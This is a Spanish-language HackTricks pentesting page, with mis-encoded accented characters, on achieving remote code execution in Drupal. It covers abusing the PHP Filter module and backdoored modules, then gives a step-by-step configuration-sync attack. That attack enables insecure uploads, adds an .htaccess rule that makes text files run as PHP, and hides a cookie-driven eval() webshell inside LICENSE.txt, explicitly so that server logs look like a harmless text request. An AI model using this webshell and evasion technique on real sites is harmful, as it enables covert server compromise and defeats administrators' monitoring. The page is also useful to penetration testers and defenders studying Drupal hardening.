Drupal RCE

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Con el m贸dulo PHP Filter

warning

En versiones anteriores de Drupal (antes de la versi贸n 8), era posible iniciar sesi贸n como administrador y habilitar el m贸dulo PHP filter, que "Permite que se eval煤e el c贸digo/snippets PHP incrustados." Pero a partir de la versi贸n 8, este m贸dulo no se instala por defecto.

  1. Ve a /modules/php y si se devuelve un error 403, entonces el plugin PHP filter est谩 instalado y puedes continuar
  2. Si no, ve a Modules y marca la casilla de PHP Filter y luego en Save configuration
  3. Luego, para explotarlo, haz clic en Add content, selecciona Basic Page o Article y escribe la puerta trasera PHP, luego selecciona PHP como formato de texto y finalmente selecciona Preview
  4. Para activarlo, simplemente accede al nodo reci茅n creado:
bash
curl http://drupal.local/node/3

Instalar el M贸dulo PHP Filter

warning

En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web despu茅s de la instalaci贸n predeterminada.

A partir de la versi贸n 8, el m贸dulo PHP Filter no est谩 instalado por defecto. Para aprovechar esta funcionalidad, tendr铆amos que instalar el m贸dulo nosotros mismos.

  1. Descargue la versi贸n m谩s reciente del m贸dulo desde el sitio web de Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Una vez descargado, vaya a Administraci贸n > Informes > Actualizaciones disponibles.
  4. Haga clic en Examinar, seleccione el archivo del directorio al que lo descarg贸 y luego haga clic en Instalar.
  5. Una vez que el m贸dulo est茅 instalado, podemos hacer clic en Contenido y crear una nueva p谩gina b谩sica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, aseg煤rese de seleccionar C贸digo PHP del men煤 desplegable Formato de texto.

M贸dulo con Puerta Trasera

warning

En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web despu茅s de la instalaci贸n predeterminada.

Era posible descargar un m贸dulo, agregarle una puerta trasera y instalarlo. Por ejemplo, descargando el m贸dulo Trurnstile en formato comprimido, creando un nuevo archivo de puerta trasera PHP dentro de 茅l, permitiendo el acceso al archivo PHP con un archivo .htaccess:

html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

Y luego ir a http://drupal.local/admin/modules/install para instalar el m贸dulo con puerta trasera y acceder a /modules/turnstile/back.php para ejecutarlo.

Puerta trasera en Drupal con sincronizaci贸n de configuraci贸n

Publicaci贸n compartida por Coiffeur0x90

Parte 1 (activaci贸n de Media y Media Library)

En el men煤 Extend (/admin/modules), puedes activar lo que parecen ser plugins ya instalados. Por defecto, los plugins Media y Media Library no parecen estar activados, as铆 que activ茅moslos.

Antes de la activaci贸n:

Despu茅s de la activaci贸n:

Parte 2 (aprovechando la funci贸n Configuration synchronization)

Aprovecharemos la funci贸n Configuration synchronization para volcar (exportar) y subir (importar) entradas de configuraci贸n de Drupal:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Parchear system.file.yml

Comencemos parcheando la primera entrada allow_insecure_uploads de:

Archivo: system.file.yml


...

allow_insecure_uploads: false

...

A:

Archivo: system.file.yml


...

allow_insecure_uploads: true

...

Parchear field.field.media.document.field_media_document.yml

Luego, parchea la segunda entrada file_extensions de:

Archivo: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

A:

Archivo: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

No lo uso en esta publicaci贸n del blog, pero se se帽ala que es posible definir la entrada file_directory de manera arbitraria y que es vulnerable a un ataque de traversal de ruta (por lo que podemos retroceder dentro del 谩rbol del sistema de archivos de Drupal).

Parte 3 (aprovechando la funci贸n Agregar Documento)

El 煤ltimo paso es el m谩s simple y se descompone en dos sub-pasos. El primero es subir un archivo en formato .htaccess para aprovechar las directivas de Apache y permitir que los archivos .txt sean interpretados por el motor PHP. El segundo es subir un archivo .txt que contenga nuestra carga 煤til.

Archivo: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

驴Por qu茅 es genial este truco?

Porque una vez que el Webshell (que llamaremos LICENSE.txt) se coloca en el servidor web, podemos transmitir nuestros comandos a trav茅s de $_COOKIE y en los registros del servidor web, esto aparecer谩 como una solicitud GET leg铆tima a un archivo de texto.

驴Por qu茅 nombrar nuestro Webshell LICENSE.txt?

Simplemente porque si tomamos el siguiente archivo, por ejemplo core/LICENSE.txt (que ya est谩 presente en el n煤cleo de Drupal), tenemos un archivo de 339 l铆neas y 17.6 KB de tama帽o, que es perfecto para agregar un peque帽o fragmento de c贸digo PHP en el medio (ya que el archivo es lo suficientemente grande).

Archivo: LICENSE.txt parcheado

txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Parte 3.1 (subir archivo .htaccess)

Primero, aprovechamos la funci贸n Add Document (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).

Parte 3.2 (subir archivo LICENSE.txt)

Luego, aprovechamos nuevamente la funci贸n Add Document (/media/add/document) para subir un Webshell oculto dentro de un archivo de licencia.

Parte 4 (interacci贸n con el Webshell)

La 煤ltima parte consiste en interactuar con el Webshell.

Como se muestra en la siguiente captura de pantalla, si la cookie esperada por nuestro Webshell no est谩 definida, obtenemos el resultado subsiguiente al consultar el archivo a trav茅s de un navegador web.

Cuando el atacante establece la cookie, puede interactuar con el Webshell y ejecutar cualquier comando que desee.

Y como puedes ver en los registros, parece que solo se ha solicitado un archivo txt.

Gracias por tomarte el tiempo de leer este art铆culo, espero que te ayude a obtener algunas shells.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks